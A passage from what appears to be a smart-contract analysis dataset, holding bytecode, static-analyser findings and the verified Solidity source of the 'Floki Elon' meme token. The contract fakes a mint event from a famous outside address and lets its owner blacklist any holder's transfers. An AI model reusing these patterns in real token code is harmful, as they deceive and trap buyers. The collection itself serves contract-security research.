fffffff611bd816565b8482815181101515610e4557fe5b602090810290910101528351610e7890859083908110610e6157fe5b60209081029091010151839063ffffffff611bc916565b9150600101610d68565b33600090815260086020526040902054821115610e9e57600080fd5b5060005b8451811015610fab57610f078482815181101515610ebc57fe5b90602001906020020151600860008885815181101515610ed857fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611bc916565b600860008784815181101515610f1957fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558451859082908110610f4a57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206120098339815191528684815181101515610f8457fe5b906020019060200201516040518082815260200191505060405180910390a3600101610ea2565b33600090815260086020526040902054610fcb908363ffffffff611bb716565b33600090815260086020526040902055506001949350505050565b60065481565b60015460a060020a900460ff1681565b600154600090600160a060020a0316331461101657600080fd5b60008351118015611028575081518351145b151561103357600080fd5b5060005b825181101561115b57818181518110151561104e57fe5b90602001906020020151600a6000858481518110151561106a57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541061109757600080fd5b81818151811015156110a557fe5b90602001906020020151600a600085848151811015156110c157fe5b6020908102909101810151600160a060020a031682528101919091526040016000205582518390829081106110f257fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110151561113457fe5b906020019060200201516040518082815260200191505060405180910390a2600101611037565b505050565b600160a060020a031660009081526008602052604090205490565b600154600090600160a060020a0316331461119557600080fd5b60075460ff16156111a557600080fd5b6007805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031633146111f857600080fd5b60015460a060020a900460ff161561120f57600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600154600160a060020a031681565b60015460009081908190600160a060020a0316331461128b57600080fd5b60015460a060020a900460ff16156112a257600080fd5b83516000106112b057600080fd5b5060009050805b83518110156114525783818151811015156112ce57fe5b90602001906020020151600160a060020a031660001415801561132c5750600a600085838151811015156112fe57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561133757600080fd5b61137c60086000868481518110151561134c57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002054839063ffffffff611bc916565b60075485519193506101009004600160a060020a03169085908390811061139f57fe5b90602001906020020151600160a060020a03166000805160206120098339815191526008600088868151811015156113d357fe5b90602001906020020151600160a060020a0316600160a060020a03168152602001908152602001600020546040518082815260200191505060405180910390a3600060086000868481518110151561142757fe5b6020908102909101810151600160a060020a03168252810191909152604001600020556001016112b7565b6007546101009004600160a060020a031660009081526008602052604090205461147c9083611bc9565b6007546101009004600160a060020a03166000908152600860205260409020555060019392505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109145780601f106108e957610100808354040283529160200191610914565b600154600160a060020a0316331461151e57600080fd5b6000811180156115465750600160a060020a0382166000908152600860205260409020548111155b151561155157600080fd5b600160a060020a03821660009081526008602052604090205461157a908263ffffffff611bb716565b600160a060020a0383166000908152600860205260409020556005546115a6908263ffffffff611bb716565b600555604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60015460009060609060a060020a900460ff161561160957600080fd5b6000831180156116275750336000908152600a602052604090205442115b801561164a5750600160a060020a0384166000908152600a602052604090205442115b151561165557600080fd5b61165e84611c03565b156116755761166e848483611c0b565b9150611680565b61166e848483611e6d565b5092915050565b600154600160a060020a0316331461169e57600080fd5b60015460a060020a900460ff16156116b557600080fd5b600160a060020a038116158015906116e45750600160a060020a0381166000908152600a602052604090205442115b15156116ef57600080fd5b60078054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b60015460009060a060020a900460ff161561173e57600080fd5b60008311801561175c5750336000908152600a602052604090205442115b801561177f5750600160a060020a0384166000908152600a602052604090205442115b151561178a57600080fd5b61179384611c03565b156117aa576117a3848484611c0b565b9050610b70565b6117a3848484611e6d565b600a6020526000908152604090205481565b600154600160a060020a031633146117de57600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b600154600160a060020a0316331461182557600080fd5b600160a060020a038116151561183a57600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015460009060a060020a900460ff16156118bd57600080fd5b6000841180156118db5750336000908152600a602052604090205442115b80156118fe5750600160a060020a0385166000908152600a602052604090205442115b151561190957600080fd5b61191285611c03565b15611ba1573360009081526008602052604090205484111561193357600080fd5b33600090815260086020526040902054611953908563ffffffff611bb716565b3360009081526008602052604080822092909255600160a060020a03871681522054611985908563ffffffff611bc916565b600160a060020a038616600081815260086020908152604080832094909455925185519293919286928291908401908083835b602083106119d75780518252601f1990920191602091820191016119b8565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611a69578181015183820152602001611a51565b50505050905090810190601f168015611a965780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611ab657fe5b84600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b30578181015183820152602001611b18565b50505050905090810190601f168015611b5d5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3604080518581529051600160a060020a0387169133916000805160206120098339815191529181900360200190a3506001611baf565b611bac858585611e6d565b90505b949350505050565b600082821115611bc357fe5b50900390565b600082820183811015610b7057fe5b600080831515611beb5760009150611680565b50828202828482811515611bfb57fe5b0414610b7057fe5b6000903b1190565b336000908152600860205260408120548190841115611c2957600080fd5b33600090815260086020526040902054611c49908563ffffffff611bb716565b3360009081526008602052604080822092909255600160a060020a03871681522054611c7b908563ffffffff611bc916565b600160a060020a03861660008181526008602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015611d19578181015183820152602001611d01565b50505050905090810190601f168015611d465780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015611d6757600080fd5b505af1158015611d7b573d6000803e3d6000fd5b5050505084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611df9578181015183820152602001611de1565b50505050905090810190601f168015611e265780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3604080518581529051600160a060020a0387169133916000805160206120098339815191529181900360200190a3506001949350505050565b33600090815260086020526040812054831115611e8957600080fd5b33600090815260086020526040902054611ea9908463ffffffff611bb716565b3360009081526008602052604080822092909255600160a060020a03861681522054611edb908463ffffffff611bc916565b6008600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611f7e578181015183820152602001611f66565b50505050905090810190601f168015611fab5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3604080518481529051600160a060020a0386169133916000805160206120098339815191529181900360200190a35060019392505050565b6000808284811515611fff57fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058207841cfe3328f53aedada4e2552c661239671a76a2c4c7144c675fec286ba4dd50029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,678 |
0x45e49873d49e36d93a28d0837f50568495ca0170 | /**
*Submitted for verification at Etherscan.io on 2021-06-25
*/
// File: contracts/FlokiElon.sol
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FLOKIELON is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Floki Elon";
string private constant _symbol = "FLOKIELON";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600a81526020017f466c6f6b6920456c6f6e00000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f464c4f4b49454c4f4e0000000000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6005600a81905550600a600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffff